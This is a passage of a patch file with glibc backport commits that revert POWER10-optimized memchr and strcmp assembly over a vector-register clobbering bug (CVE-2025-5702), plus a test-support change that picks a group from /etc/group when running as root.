++L(swapped):
++	subf     r3,r5,r4
++	blr
+ 
+ 	.p2align 5
+ L(32B_aligned_loop):
+
+commit 672f31b90e501b4ba10ba12ab4c6051f77589912
+Author: Carlos O'Donell <carlos@redhat.com>
+Date:   Wed Jun 11 09:33:45 2025 -0400
+
+    ppc64le: Revert "powerpc : Add optimized memchr for POWER10" (Bug 33059)
+    
+    This reverts commit b9182c793caa05df5d697427c0538936e6396d4b
+    
+    Reason for revert: Power10 memchr clobbers v20 vector register
+    (Bug 33059)
+    
+    This is not a security issue, unlike CVE-2025-5745 and
+    CVE-2025-5702.
+    
+    Tested on ppc64le without regression.
+    
+    (cherry picked from commit a7877bb6685300f159fa095c9f50b22b112cddb8)
+
+diff --git a/sysdeps/powerpc/powerpc64/le/power10/memchr.S b/sysdeps/powerpc/powerpc64/le/power10/memchr.S
+deleted file mode 100644
+index 53e5716d72..0000000000
+--- a/sysdeps/powerpc/powerpc64/le/power10/memchr.S
++++ /dev/null
+@@ -1,315 +0,0 @@
+-/* Optimized memchr implementation for POWER10 LE.
+-   Copyright (C) 2021-2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#include <sysdep.h>
+-
+-# ifndef MEMCHR
+-#  define MEMCHR __memchr
+-# endif
+-# define M_VREG_ZERO v20
+-# define M_OFF_START_LOOP 256
+-# define MEMCHR_SUBTRACT_VECTORS \
+-	vsububm   v4,v4,v18;	    \
+-	vsububm   v5,v5,v18;	    \
+-	vsububm   v6,v6,v18;	    \
+-	vsububm   v7,v7,v18;
+-# define M_TAIL(vreg,increment)	   \
+-	vctzlsbb  r4,vreg;	   \
+-	cmpld     r5,r4;	   \
+-	ble       L(null);	   \
+-	addi	  r4,r4,increment; \
+-	add	  r3,r6,r4;	   \
+-	blr
+-
+-/* TODO: Replace macros by the actual instructions when minimum binutils becomes
+-   >= 2.35.  This is used to keep compatibility with older versions.  */
+-#define M_VEXTRACTBM(rt,vrb)	 \
+-	.long(((4)<<(32-6))	 \
+-	      | ((rt)<<(32-11))	 \
+-	      | ((8)<<(32-16))	 \
+-	      | ((vrb)<<(32-21)) \
+-	      | 1602)
+-
+-#define M_LXVP(xtp,dq,ra)		   \
+-	.long(((6)<<(32-6))		   \
+-	      | ((((xtp)-32)>>1)<<(32-10)) \
+-	      | ((1)<<(32-11))		   \
+-	      | ((ra)<<(32-16))		   \
+-	      | dq)
+-
+-#define CHECK16B(vreg,offset,addr,label) \
+-	lxv	  vreg+32,offset(addr);	\
+-	vcmpequb. vreg,vreg,v18;	\
+-	bne	  cr6,L(label);		\
+-	cmpldi	  r5,16;		\
+-	ble	  L(null);		\
+-	addi	  r5,r5,-16;
+-
+-/* Load 4 quadwords, merge into one VR for speed and check for NULLs.  r6 has #
+-   of bytes already checked.  */
+-#define CHECK64B(offset,addr,label)	    \
+-	M_LXVP(v4+32,offset,addr);	    \
+-	M_LXVP(v6+32,offset+32,addr);	    \
+-	MEMCHR_SUBTRACT_VECTORS;	    \
+-	vminub	  v14,v4,v5;		    \
+-	vminub	  v15,v6,v7;		    \
+-	vminub	  v16,v14,v15;		    \
+-	vcmpequb. v0,v16,M_VREG_ZERO;	    \
+-	beq	  cr6,$+12;		    \
+-	li	  r7,offset;		    \
+-	b     	  L(label);          	    \
+-	cmpldi	  r5,64;		    \
+-	ble	  L(null);		    \
+-	addi	  r5,r5,-64
+-
+-/* Implements the function
+-   void *[r3] memchr (const void *s [r3], int c [r4], size_t n [r5]).  */
+-
+-	.machine power9
+-
+-ENTRY_TOCLESS (MEMCHR)
+-	CALL_MCOUNT 3
+-
+-	cmpldi	r5,0
+-	beq	L(null)
+-	mr	r0,r5
+-	xori	r6,r4,0xff
+-
+-	mtvsrd	v18+32,r4	/* matching char in v18  */
+-	mtvsrd	v19+32,r6	/* non matching char in v19  */
+-
+-	vspltb	v18,v18,7	/* replicate  */
+-	vspltb	v19,v19,7	/* replicate  */
+-	vspltisb  M_VREG_ZERO,0
+-
+-	/* Next 16B-aligned address. Prepare address for L(aligned).  */
+-	addi	  r6,r3,16
+-	clrrdi	  r6,r6,4
+-
+-	/* Align data and fill bytes not loaded with non matching char.	 */
+-	lvx	  v0,0,r3
+-	lvsr	  v1,0,r3
+-	vperm	  v0,v19,v0,v1
+-
+-	vcmpequb. v6,v0,v18
+-	bne	  cr6,L(found)
+-	sub	  r4,r6,r3
+-	cmpld	  r5,r4
+-	ble	  L(null)
+-	sub	  r5,r5,r4
+-
+-	/* Test up to OFF_START_LOOP-16 bytes in 16B chunks.  The main loop is
+-	   optimized for longer strings, so checking the first bytes in 16B
+-	   chunks benefits a lot small strings.  */
+-	.p2align 5
+-L(aligned):
+-	cmpldi	r5,0
+-	beq     L(null)
+-
+-	CHECK16B(v0,0,r6,tail1)
+-	CHECK16B(v1,16,r6,tail2)
+-	CHECK16B(v2,32,r6,tail3)
+-	CHECK16B(v3,48,r6,tail4)
+-	CHECK16B(v4,64,r6,tail5)
+-	CHECK16B(v5,80,r6,tail6)
+-	CHECK16B(v6,96,r6,tail7)
+-	CHECK16B(v7,112,r6,tail8)
+-	CHECK16B(v8,128,r6,tail9)
+-	CHECK16B(v9,144,r6,tail10)
+-	CHECK16B(v10,160,r6,tail11)
+-	CHECK16B(v0,176,r6,tail12)
+-	CHECK16B(v1,192,r6,tail13)
+-	CHECK16B(v2,208,r6,tail14)
+-	CHECK16B(v3,224,r6,tail15)
+-
+-	cmpdi	cr5,r4,0	/* Check if c == 0.  This will be useful to
+-				   choose how we will perform the main loop.  */
+-
+-	/* Prepare address for the loop.  */
+-	addi	  r4,r3,M_OFF_START_LOOP
+-	clrrdi	  r4,r4,6
+-	sub	  r6,r4,r3
+-	sub	  r5,r0,r6
+-	addi	  r6,r4,128
+-
+-	/* If c == 0, use the loop without the vsububm.  */
+-	beq	cr5,L(loop)
+-
+-	/* This is very similar to the block after L(loop), the difference is
+-	   that here MEMCHR_SUBTRACT_VECTORS is not empty, and we subtract
+-	   each byte loaded by the char we are looking for, this way we can keep
+-	   using vminub to merge the results and checking for nulls.  */
+-	.p2align 5
+-L(memchr_loop):
+-	CHECK64B(0,r4,pre_tail_64b)
+-	CHECK64B(64,r4,pre_tail_64b)
+-	addi	r4,r4,256
+-
+-	CHECK64B(0,r6,tail_64b)
+-	CHECK64B(64,r6,tail_64b)
+-	addi	r6,r6,256
+-
+-	CHECK64B(0,r4,pre_tail_64b)
+-	CHECK64B(64,r4,pre_tail_64b)
+-	addi	r4,r4,256
+-
+-	CHECK64B(0,r6,tail_64b)
+-	CHECK64B(64,r6,tail_64b)
+-	addi	r6,r6,256
+-
+-	b	L(memchr_loop)
+-	/* Switch to a more aggressive approach checking 64B each time.  Use 2
+-	   pointers 128B apart and unroll the loop once to make the pointer
+-	   updates and usages separated enough to avoid stalls waiting for
+-	   address calculation.  */
+-	.p2align 5
+-L(loop):
+-#undef MEMCHR_SUBTRACT_VECTORS
+-#define MEMCHR_SUBTRACT_VECTORS /* nothing */
+-	CHECK64B(0,r4,pre_tail_64b)
+-	CHECK64B(64,r4,pre_tail_64b)
+-	addi	  r4,r4,256
+-
+-	CHECK64B(0,r6,tail_64b)
+-	CHECK64B(64,r6,tail_64b)
+-	addi	  r6,r6,256
+-
+-	CHECK64B(0,r4,pre_tail_64b)
+-	CHECK64B(64,r4,pre_tail_64b)
+-	addi      r4,r4,256
+-
+-	CHECK64B(0,r6,tail_64b)
+-	CHECK64B(64,r6,tail_64b)
+-	addi      r6,r6,256
+-
+-	b	  L(loop)
+-
+-	.p2align  5
+-L(pre_tail_64b):
+-	mr	r6,r4
+-L(tail_64b):
+-	/* OK, we found a null byte.  Let's look for it in the current 64-byte
+-	   block and mark it in its corresponding VR.  lxvp vx,0(ry) puts the
+-	   low 16B bytes into vx+1, and the high into vx, so the order here is
+-	   v5, v4, v7, v6.  */
+-	vcmpequb  v1,v5,M_VREG_ZERO
+-	vcmpequb  v2,v4,M_VREG_ZERO
+-	vcmpequb  v3,v7,M_VREG_ZERO
+-	vcmpequb  v4,v6,M_VREG_ZERO
+-
+-	/* Take into account the other 64B blocks we had already checked.  */
+-	add	r6,r6,r7
+-	/* Extract first bit of each byte.  */
+-	M_VEXTRACTBM(r8,v1)
+-	M_VEXTRACTBM(r9,v2)
+-	M_VEXTRACTBM(r10,v3)
+-	M_VEXTRACTBM(r11,v4)
+-
+-	/* Shift each value into their corresponding position.  */
+-	sldi	  r9,r9,16
+-	sldi	  r10,r10,32
+-	sldi	  r11,r11,48
+-
+-	/* Merge the results.  */
+-	or	  r8,r8,r9
+-	or	  r9,r10,r11
+-	or	  r11,r9,r8
+-
+-	cnttzd	  r0,r11	  /* Count trailing zeros before the match.  */
+-	cmpld     r5,r0
+-	ble	  L(null)
+-	add	  r3,r6,r0	  /* Compute final address.  */
+-	blr
+-
+-	.p2align  5
+-L(tail1):
+-	M_TAIL(v0,0)
+-
+-	.p2align  5
+-L(tail2):
+-	M_TAIL(v1,16)
+-
+-	.p2align  5
+-L(tail3):
+-	M_TAIL(v2,32)
+-
+-	.p2align  5
+-L(tail4):
+-	M_TAIL(v3,48)
+-
+-	.p2align  5
+-L(tail5):
+-	M_TAIL(v4,64)
+-
+-	.p2align  5
+-L(tail6):
+-	M_TAIL(v5,80)
+-
+-	.p2align  5
+-L(tail7):
+-	M_TAIL(v6,96)
+-
+-	.p2align  5
+-L(tail8):
+-	M_TAIL(v7,112)
+-
+-	.p2align  5
+-L(tail9):
+-	M_TAIL(v8,128)
+-
+-	.p2align  5
+-L(tail10):
+-	M_TAIL(v9,144)
+-
+-	.p2align  5
+-L(tail11):
+-	M_TAIL(v10,160)
+-
+-	.p2align  5
+-L(tail12):
+-	M_TAIL(v0,176)
+-
+-	.p2align  5
+-L(tail13):
+-	M_TAIL(v1,192)
+-
+-	.p2align  5
+-L(tail14):
+-	M_TAIL(v2,208)
+-
+-	.p2align  5
+-L(tail15):
+-	M_TAIL(v3,224)
+-
+-	.p2align  5
+-L(found):
+-	vctzlsbb  r7,v6
+-	cmpld     r5,r7
+-	ble       L(null)
+-	add       r3,r3,r7
+-	blr
+-
+-	.p2align  5
+-L(null):
+-	li	r3,0
+-	blr
+-
+-END (MEMCHR)
+-
+-weak_alias (__memchr, memchr)
+-libc_hidden_builtin_def (memchr)
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/Makefile b/sysdeps/powerpc/powerpc64/multiarch/Makefile
+index a38ff46448..fa1107dfd9 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/Makefile
++++ b/sysdeps/powerpc/powerpc64/multiarch/Makefile
+@@ -31,10 +31,10 @@ sysdep_routines += memcpy-power8-cached memcpy-power7 memcpy-a2 memcpy-power6 \
+ 		   strncase-power8
+ 
+ ifneq (,$(filter %le,$(config-machine)))
+-sysdep_routines += memchr-power10 memcmp-power10 memcpy-power10 \
+-		   memmove-power10 memset-power10 rawmemchr-power9 \
+-		   rawmemchr-power10 strcmp-power9 strcmp-power10 \
+-		   strncmp-power9 strcpy-power9 stpcpy-power9 \
++sysdep_routines += memcmp-power10 memcpy-power10 memmove-power10 memset-power10 \
++		   rawmemchr-power9 rawmemchr-power10 \
++		   strcmp-power9 strcmp-power10 strncmp-power9 \
++		   strcpy-power9 stpcpy-power9 \
+ 		   strlen-power9 strncpy-power9 stpncpy-power9 strlen-power10
+ endif
+ CFLAGS-strncase-power7.c += -mcpu=power7 -funroll-loops
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c b/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
+index 30fd89e109..9b3e617306 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
++++ b/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
+@@ -226,12 +226,6 @@ __libc_ifunc_impl_list (const char *name, struct libc_ifunc_impl *array,
+ 
+   /* Support sysdeps/powerpc/powerpc64/multiarch/memchr.c.  */
+   IFUNC_IMPL (i, name, memchr,
+-#ifdef __LITTLE_ENDIAN__
+-	      IFUNC_IMPL_ADD (array, i, memchr,
+-		              hwcap2 & PPC_FEATURE2_ARCH_3_1
+-			      && hwcap & PPC_FEATURE_HAS_VSX,
+-			      __memchr_power10)
+-#endif
+ 	      IFUNC_IMPL_ADD (array, i, memchr,
+ 			      hwcap2 & PPC_FEATURE2_ARCH_2_07
+ 			      && hwcap & PPC_FEATURE_HAS_ALTIVEC,
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/memchr-power10.S b/sysdeps/powerpc/powerpc64/multiarch/memchr-power10.S
+deleted file mode 100644
+index 7d35ef28a9..0000000000
+--- a/sysdeps/powerpc/powerpc64/multiarch/memchr-power10.S
++++ /dev/null
+@@ -1,28 +0,0 @@
+-/* Optimized memchr implementation for POWER10/PPC64.
+-   Copyright (C) 2016-2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#if defined __LITTLE_ENDIAN__ && IS_IN (libc)
+-#define MEMCHR __memchr_power10
+-
+-#undef libc_hidden_builtin_def
+-#define libc_hidden_builtin_def(name)
+-#undef weak_alias
+-#define weak_alias(name,alias)
+-
+-#include <sysdeps/powerpc/powerpc64/le/power10/memchr.S>
+-#endif
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/memchr.c b/sysdeps/powerpc/powerpc64/multiarch/memchr.c
+index 57d23e7b18..b4655dfcaa 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/memchr.c
++++ b/sysdeps/powerpc/powerpc64/multiarch/memchr.c
+@@ -25,23 +25,15 @@ extern __typeof (__memchr) __memchr_ppc attribute_hidden;
+ extern __typeof (__memchr) __memchr_power7 attribute_hidden;
+ extern __typeof (__memchr) __memchr_power8 attribute_hidden;
+ 
+-# ifdef __LITTLE_ENDIAN__
+-extern __typeof (__memchr) __memchr_power10 attribute_hidden;
+-# endif
+ /* Avoid DWARF definition DIE on ifunc symbol so that GDB can handle
+    ifunc symbol properly.  */
+ libc_ifunc (__memchr,
+-# ifdef __LITTLE_ENDIAN__
+-	    (hwcap2 & PPC_FEATURE2_ARCH_3_1
+-	     && hwcap & PPC_FEATURE_HAS_VSX)
+-	    ? __memchr_power10 :
+-# endif
+-	      (hwcap2 & PPC_FEATURE2_ARCH_2_07
+-	      && hwcap & PPC_FEATURE_HAS_ALTIVEC)
+-	      ? __memchr_power8 :
+-	        (hwcap & PPC_FEATURE_ARCH_2_06)
+-	        ? __memchr_power7
+-	        : __memchr_ppc);
++	    (hwcap2 & PPC_FEATURE2_ARCH_2_07
++	     && hwcap & PPC_FEATURE_HAS_ALTIVEC)
++	    ? __memchr_power8 :
++	    (hwcap & PPC_FEATURE_ARCH_2_06)
++            ? __memchr_power7
++            : __memchr_ppc);
+ 
+ weak_alias (__memchr, memchr)
+ libc_hidden_builtin_def (memchr)
+
+commit 7e12550b8e3a11764a4a9090ce6bd3fc23fc8a8e
+Author: Carlos O'Donell <carlos@redhat.com>
+Date:   Mon Jun 16 13:09:57 2025 -0400
+
+    ppc64le: Revert "powerpc: Optimized strcmp for power10" (CVE-2025-5702)
+    
+    This reverts commit 3367d8e180848030d1646f088759f02b8dfe0d6f
+    
+    Reason for revert: Power10 strcmp clobbers non-volatile vector
+    registers (Bug 33056)
+    
+    Tested on ppc64le without regression.
+    
+    (cherry picked from commit 15808c77b35319e67ee0dc8f984a9a1a434701bc)
+
+diff --git a/sysdeps/powerpc/powerpc64/le/power10/strcmp.S b/sysdeps/powerpc/powerpc64/le/power10/strcmp.S
+deleted file mode 100644
+index 00f1e9c170..0000000000
+--- a/sysdeps/powerpc/powerpc64/le/power10/strcmp.S
++++ /dev/null
+@@ -1,204 +0,0 @@
+-/* Optimized strcmp implementation for PowerPC64/POWER10.
+-   Copyright (C) 2021-2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-#include <sysdep.h>
+-
+-#ifndef STRCMP
+-# define STRCMP strcmp
+-#endif
+-
+-/* Implements the function
+-   int [r3] strcmp (const char *s1 [r3], const char *s2 [r4]).  */
+-
+-/* TODO: Change this to actual instructions when minimum binutils is upgraded
+-   to 2.27.  Macros are defined below for these newer instructions in order
+-   to maintain compatibility.  */
+-
+-#define LXVP(xtp,dq,ra)		     \
+-	.long(((6)<<(32-6))	     \
+-	| ((((xtp)-32)>>1)<<(32-10)) \
+-	| ((1)<<(32-11))	     \
+-	| ((ra)<<(32-16))	     \
+-	| dq)
+-
+-#define COMPARE_16(vreg1,vreg2,offset)  \
+-	lxv       vreg1+32,offset(r3);  \
+-	lxv       vreg2+32,offset(r4);	\
+-	vcmpnezb. v7,vreg1,vreg2;	\
+-	bne       cr6,L(different);     \
+-
+-#define COMPARE_32(vreg1,vreg2,offset,label1,label2) \
+-	LXVP(vreg1+32,offset,r3);                    \
+-	LXVP(vreg2+32,offset,r4);                    \
+-	vcmpnezb. v7,vreg1+1,vreg2+1;                \
+-	bne	  cr6,L(label1);                     \
+-	vcmpnezb. v7,vreg1,vreg2;                    \
+-	bne	  cr6,L(label2);                     \
+-
+-#define TAIL(vreg1,vreg2)     \
+-	vctzlsbb r6,v7;	      \
+-	vextubrx r5,r6,vreg1; \
+-	vextubrx r4,r6,vreg2; \
+-	subf	 r3,r4,r5;    \
+-	blr;                  \
+-
+-#define CHECK_N_BYTES(reg1,reg2,len_reg) \
+-	sldi	  r0,len_reg,56;         \
+-	lxvl	  32+v4,reg1,r0;         \
+-	lxvl	  32+v5,reg2,r0;         \
+-	add	  reg1,reg1,len_reg;     \
+-	add	  reg2,reg2,len_reg;     \
+-	vcmpnezb. v7,v4,v5;              \
+-	vctzlsbb  r6,v7;                 \
+-	cmpld	  cr7,r6,len_reg;        \
+-	blt	  cr7,L(different);      \
+-
+-	/* TODO: change this to .machine power10 when the minimum required
+-	binutils allows it.  */
+-
+-	.machine  power9
+-ENTRY_TOCLESS (STRCMP, 4)
+-	li	 r11,16
+-	/* eq bit of cr1 used as swap status flag to indicate if
+-	source pointers were swapped.  */
+-	crclr	 4*cr1+eq
+-	vspltisb v19,-1
+-	andi.	 r7,r3,15
+-	sub	 r7,r11,r7	/* r7(nalign1) = 16 - (str1 & 15).  */
+-	andi.	 r9,r4,15
+-	sub	 r5,r11,r9	/* r5(nalign2) = 16 - (str2 & 15).  */
+-	cmpld	 cr7,r7,r5
+-	beq	 cr7,L(same_aligned)
+-	blt	 cr7,L(nalign1_min)
+-	/* Swap r3 and r4, and r7 and r5 such that r3 and r7 hold the
+-	pointer which is closer to the next 16B boundary so that only
+-	one CHECK_N_BYTES is needed before entering the loop below.  */
+-	mr	 r8,r4
+-	mr	 r4,r3
+-	mr	 r3,r8
+-	mr	 r12,r7
+-	mr	 r7,r5
+-	mr	 r5,r12
+-	crset	 4*cr1+eq	/* Set bit on swapping source pointers.  */
+-
+-	.p2align 5
+-L(nalign1_min):
+-	CHECK_N_BYTES(r3,r4,r7)
+-
+-	.p2align 5
+-L(s1_aligned):
+-	/* r9 and r5 is number of bytes to be read after and before
+-	 page boundary correspondingly.  */
+-	sub 	r5,r5,r7
+-	subfic	r9,r5,16
+-	/* Now let r7 hold the count of quadwords which can be
+-	checked without crossing a page boundary. quadword offset is
+-	(str2>>4)&0xFF.  */
+-	rlwinm	r7,r4,28,0xFF
+-	/* Below check is required only for first iteration. For second
+-	iteration and beyond, the new loop counter is always 255.  */
+-	cmpldi	r7,255
+-	beq	L(L3)
+-	/* Get the initial loop count by 255-((str2>>4)&0xFF).  */
+-	subfic  r11,r7,255
+-
+-	.p2align 5
+-L(L1):
+-	mtctr	r11
+-
+-	.p2align 5
+-L(L2):
+-	COMPARE_16(v4,v5,0)	/* Load 16B blocks using lxv.  */
+-	addi	r3,r3,16
+-	addi	r4,r4,16
+-	bdnz	L(L2)
+-	/* Cross the page boundary of s2, carefully.  */
+-
+-	.p2align 5
+-L(L3):
+-	CHECK_N_BYTES(r3,r4,r5)
+-	CHECK_N_BYTES(r3,r4,r9)
+-	li 	r11,255		/* Load the new loop counter.  */
+-	b	L(L1)
+-
+-	.p2align 5
+-L(same_aligned):
+-	CHECK_N_BYTES(r3,r4,r7)
+-        /* Align s1 to 32B and adjust s2 address.
+-	   Use lxvp only if both s1 and s2 are 32B aligned.  */
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	COMPARE_16(v4,v5,48)
+-	addi	r3,r3,64
+-	addi	r4,r4,64
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-
+-	clrldi	r6,r3,59
+-	subfic	r5,r6,32
+-	add	r3,r3,r5
+-	add	r4,r4,r5
+-	andi.	r5,r4,0x1F
+-	beq	cr0,L(32B_aligned_loop)
+-
+-	.p2align 5
+-L(16B_aligned_loop):
+-	COMPARE_16(v4,v5,0)
+-	COMPARE_16(v4,v5,16)
+-	COMPARE_16(v4,v5,32)
+-	COMPARE_16(v4,v5,48)
+-	addi	r3,r3,64
+-	addi	r4,r4,64
+-	b	L(16B_aligned_loop)
+-
+-	/* Calculate and return the difference.  */
+-L(different):
+-	vctzlsbb r6,v7
+-	vextubrx r5,r6,v4
+-	vextubrx r4,r6,v5
+-	bt  	 4*cr1+eq,L(swapped)
+-	subf	 r3,r4,r5
+-	blr
+-
+-	/* If src pointers were swapped, then swap the
+-	indices and calculate the return value.  */
+-L(swapped):
+-	subf     r3,r5,r4
+-	blr
+-
+-	.p2align 5
+-L(32B_aligned_loop):
+-	COMPARE_32(v14,v16,0,tail1,tail2)
+-	COMPARE_32(v18,v20,32,tail3,tail4)
+-	COMPARE_32(v22,v24,64,tail5,tail6)
+-	COMPARE_32(v26,v28,96,tail7,tail8)
+-	addi	r3,r3,128
+-	addi	r4,r4,128
+-	b	L(32B_aligned_loop)
+-
+-L(tail1): TAIL(v15,v17)
+-L(tail2): TAIL(v14,v16)
+-L(tail3): TAIL(v19,v21)
+-L(tail4): TAIL(v18,v20)
+-L(tail5): TAIL(v23,v25)
+-L(tail6): TAIL(v22,v24)
+-L(tail7): TAIL(v27,v29)
+-L(tail8): TAIL(v26,v28)
+-
+-END (STRCMP)
+-libc_hidden_builtin_def (strcmp)
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/Makefile b/sysdeps/powerpc/powerpc64/multiarch/Makefile
+index fa1107dfd9..9f15f3207f 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/Makefile
++++ b/sysdeps/powerpc/powerpc64/multiarch/Makefile
+@@ -33,8 +33,7 @@ sysdep_routines += memcpy-power8-cached memcpy-power7 memcpy-a2 memcpy-power6 \
+ ifneq (,$(filter %le,$(config-machine)))
+ sysdep_routines += memcmp-power10 memcpy-power10 memmove-power10 memset-power10 \
+ 		   rawmemchr-power9 rawmemchr-power10 \
+-		   strcmp-power9 strcmp-power10 strncmp-power9 \
+-		   strcpy-power9 stpcpy-power9 \
++		   strcmp-power9 strncmp-power9 strcpy-power9 stpcpy-power9 \
+ 		   strlen-power9 strncpy-power9 stpncpy-power9 strlen-power10
+ endif
+ CFLAGS-strncase-power7.c += -mcpu=power7 -funroll-loops
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c b/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
+index 9b3e617306..78443b7f34 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
++++ b/sysdeps/powerpc/powerpc64/multiarch/ifunc-impl-list.c
+@@ -377,10 +377,6 @@ __libc_ifunc_impl_list (const char *name, struct libc_ifunc_impl *array,
+   /* Support sysdeps/powerpc/powerpc64/multiarch/strcmp.c.  */
+   IFUNC_IMPL (i, name, strcmp,
+ #ifdef __LITTLE_ENDIAN__
+-	      IFUNC_IMPL_ADD (array, i, strcmp,
+-			      (hwcap2 & PPC_FEATURE2_ARCH_3_1)
+-			      && (hwcap & PPC_FEATURE_HAS_VSX),
+-			      __strcmp_power10)
+ 	      IFUNC_IMPL_ADD (array, i, strcmp,
+ 			      hwcap2 & PPC_FEATURE2_ARCH_3_00
+ 			      && hwcap & PPC_FEATURE_HAS_ALTIVEC,
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/strcmp-power10.S b/sysdeps/powerpc/powerpc64/multiarch/strcmp-power10.S
+deleted file mode 100644
+index 1a9f6069f5..0000000000
+--- a/sysdeps/powerpc/powerpc64/multiarch/strcmp-power10.S
++++ /dev/null
+@@ -1,26 +0,0 @@
+-/* Optimized strcmp implementation for POWER10/PPC64.
+-   Copyright (C) 2021-2024 Free Software Foundation, Inc.
+-   This file is part of the GNU C Library.
+-
+-   The GNU C Library is free software; you can redistribute it and/or
+-   modify it under the terms of the GNU Lesser General Public
+-   License as published by the Free Software Foundation; either
+-   version 2.1 of the License, or (at your option) any later version.
+-
+-   The GNU C Library is distributed in the hope that it will be useful,
+-   but WITHOUT ANY WARRANTY; without even the implied warranty of
+-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+-   Lesser General Public License for more details.
+-
+-   You should have received a copy of the GNU Lesser General Public
+-   License along with the GNU C Library; if not, see
+-   <https://www.gnu.org/licenses/>.  */
+-
+-#if defined __LITTLE_ENDIAN__ && IS_IN (libc)
+-#define STRCMP __strcmp_power10
+-
+-#undef libc_hidden_builtin_def
+-#define libc_hidden_builtin_def(name)
+-
+-#include <sysdeps/powerpc/powerpc64/le/power10/strcmp.S>
+-#endif /* __LITTLE_ENDIAN__ && IS_IN (libc) */
+diff --git a/sysdeps/powerpc/powerpc64/multiarch/strcmp.c b/sysdeps/powerpc/powerpc64/multiarch/strcmp.c
+index ff32496fab..06b9b4090f 100644
+--- a/sysdeps/powerpc/powerpc64/multiarch/strcmp.c
++++ b/sysdeps/powerpc/powerpc64/multiarch/strcmp.c
+@@ -29,16 +29,12 @@ extern __typeof (strcmp) __strcmp_power7 attribute_hidden;
+ extern __typeof (strcmp) __strcmp_power8 attribute_hidden;
+ # ifdef __LITTLE_ENDIAN__
+ extern __typeof (strcmp) __strcmp_power9 attribute_hidden;
+-extern __typeof (strcmp) __strcmp_power10 attribute_hidden;
+ # endif
+ 
+ # undef strcmp
+ 
+ libc_ifunc_redirected (__redirect_strcmp, strcmp,
+ # ifdef __LITTLE_ENDIAN__
+-		        (hwcap2 & PPC_FEATURE2_ARCH_3_1
+-			 && hwcap & PPC_FEATURE_HAS_VSX)
+-			? __strcmp_power10 :
+ 			(hwcap2 & PPC_FEATURE2_ARCH_3_00
+ 			 && hwcap & PPC_FEATURE_HAS_ALTIVEC)
+ 			? __strcmp_power9 :
+
+commit 23a02e382c8ffebfed00a082d8898f1aa468b5da
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Wed May 21 16:47:34 2025 +0200
+
+    support: Pick group in support_capture_subprogram_self_sgid if UID == 0
+    
+    When running as root, it is likely that we can run under any group.
+    Pick a harmless group from /etc/group in this case.
+    
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 2f769cec448d84a62b7dd0d4ff56978fe22c0cd6)
+
+diff --git a/support/support_capture_subprocess.c b/support/support_capture_subprocess.c
+index 2383481911..1cb344eb04 100644
+--- a/support/support_capture_subprocess.c
++++ b/support/support_capture_subprocess.c
+@@ -21,7 +21,11 @@
+ 
+ #include <errno.h>
+ #include <fcntl.h>
++#include <grp.h>
++#include <scratch_buffer.h>
++#include <stdio_ext.h>
+ #include <stdlib.h>
++#include <string.h>
+ #include <support/check.h>
+ #include <support/xunistd.h>
+ #include <support/xsocket.h>
+@@ -210,10 +214,48 @@ err:
+   return status;
+ }
+ 
++/* Returns true if a group with NAME has been found, and writes its
++   GID to *TARGET.  */
++static bool
++find_sgid_group (gid_t *target, const char *name)
++{
++  /* Do not use getgrname_r because it does not work in statically
++     linked binaries if the system libc is different.  */
++  FILE *fp = fopen ("/etc/group", "rce");
++  if (fp == NULL)
++    return false;
++  __fsetlocking (fp, FSETLOCKING_BYCALLER);
++
++  bool ok = false;
++  struct scratch_buffer buf;
++  scratch_buffer_init (&buf);
++  while (true)
++    {
++      struct group grp;
